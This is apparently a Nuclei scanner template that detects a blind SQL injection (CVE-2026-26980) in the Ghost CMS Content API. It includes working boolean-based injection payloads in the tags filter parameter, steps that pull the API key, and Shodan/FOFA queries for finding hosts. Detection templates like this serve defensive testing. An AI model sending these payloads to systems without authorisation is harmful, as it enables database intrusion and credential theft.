id: CVE-2026-26980

info:
  name: Ghost CMS Content API - SQL Injection
  author: domwhewell-sage
  severity: critical
  description: |
    Ghost CMS before 6.19.1 is vulnerable to a blind SQL injection in the /ghost/api/content/tags/ endpoint via the filter parameter. This template checks for the vulnerability by sending a boolean-based payload.
  impact: |
    An unauthenticated attacker can extract arbitrary data from the Ghost database including user credentials, API keys, and all content, potentially leading to full compromise of the CMS.
  remediation: |
    Upgrade Ghost CMS to version 6.19.1 or later which uses parameterized queries for slug filter ordering.
  reference:
    - https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
    - https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26980
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 9.4
    cve-id: CVE-2026-26980
    epss-score: 0.56657
    epss-percentile: 0.98157
    cwe-id: CWE-89
    cpe: cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: ghost
    product: ghost
    framework: node.js
    shodan-query: http.component:"Ghost"
    fofa-query: app="Ghost"
  tags: cve,cve2026,ghost,ghostcms,sqli,vuln,vkev

flow: |
  http(1) && http(2) && http(3)

http:
  - id: extract-api-key
    method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        name: api_key
        part: body
        group: 1
        regex:
          - 'data-key="([a-f0-9]{20,})"'
        internal: true

  - id: extract-first-slug
    method: GET
    path:
      - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:-null"

    extractors:
      - type: json
        part: body
        name: first_slug
        json:
          - '.tags[0].slug'
        internal: true

  - id: check-sqli
    method: GET
    path:
      - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',{{first_slug}}]"
      - "{{BaseURL}}/ghost/api/content/tags/?key={{api_key}}&filter=slug:['||CASE WHEN 1=0 THEN 0 ELSE EXP(710) END||',{{first_slug}}]"

    matchers:
      - type: dsl
        dsl:
          - "len(body_1) != len(body_2)"
# digest: 4a0a0047304502201ff9b8332c6a1ec1741666d4185ada752c4fa53493aa1ab03ea30125fa7222fc022100977a4fb5cf64104e2bb5dc5258f2f9d112d893316c6df6e9855161e37d5cc991:922c64590222798bb761d5b6d8e72950